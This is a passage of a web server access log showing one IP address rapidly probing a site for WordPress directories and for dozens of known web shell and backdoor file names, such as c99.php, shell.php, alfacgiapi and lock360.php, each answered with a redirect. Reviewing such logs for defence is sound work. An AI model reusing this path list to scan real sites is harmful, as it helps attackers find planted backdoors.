/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:23 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:24 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:25 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:25 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:26 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:27 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:28 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:29 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:30 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:31 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:32 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:33 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:34 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:35 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:35 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:36 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:36 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:37 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:38 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:39 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:39 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:40 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:41 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:42 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:43 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:44 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:44 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:45 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:46 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:46 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:47 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:48 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:49 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:50 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:52 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:53 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:54 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:55 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:56 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:56 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:57 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:57 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:58 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:59 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:00 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:01 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:01 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:02 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:03 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:04 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:06 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:07 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:08 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:09 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:10 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:11 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:11 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:12 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:13 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:14 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:15 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:16 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:17 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:18 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:19 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:19 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:20 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:21 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:22 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:23 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:24 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:25 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:26 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:26 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:28 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:28 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:29 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:31 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:32 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:33 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:34 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:34 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:35 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:36 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:36 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:37 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:38 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:38 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:39 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:40 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:41 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:42 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:42 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:43 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:44 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:45 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:45 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:46 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:47 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:48 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:49 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:50 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:51 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:52 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:53 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:54 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:55 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:56 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:57 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:58 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:46:59 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:00 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:01 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:02 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:04 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:05 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:06 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:07 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:07 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:08 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:09 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:10 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:11 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:12 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:13 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:14 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:14 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:15 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:16 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:17 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:18 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:19 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:20 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:21 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:22 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:23 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:24 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:25 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:25 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:26 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:27 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:28 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:28 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:29 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:30 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:30 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:31 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:31 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:32 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:33 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:34 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:34 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:35 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:36 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:36 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:37 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:38 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:38 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:39 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:40 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:40 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:41 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:41 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:42 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:43 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:43 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:44 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:44 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:45 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:46 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:46 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:47 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:48 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:49 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:49 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:50 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:50 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:51 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:52 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:52 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:53 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:53 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:54 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:54 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:55 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:56 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:57 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:57 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:58 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:58 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:47:59 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:00 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:02 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:04 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:05 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:06 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:07 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:08 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:08 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:09 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:10 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:11 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:11 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:12 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:13 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:13 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:14 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:14 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:15 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:16 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:17 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:18 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:20 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:21 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:21 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:22 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:24 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:25 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:26 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:27 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:27 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:28 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:28 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:29 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:30 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:30 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:31 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:32 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:32 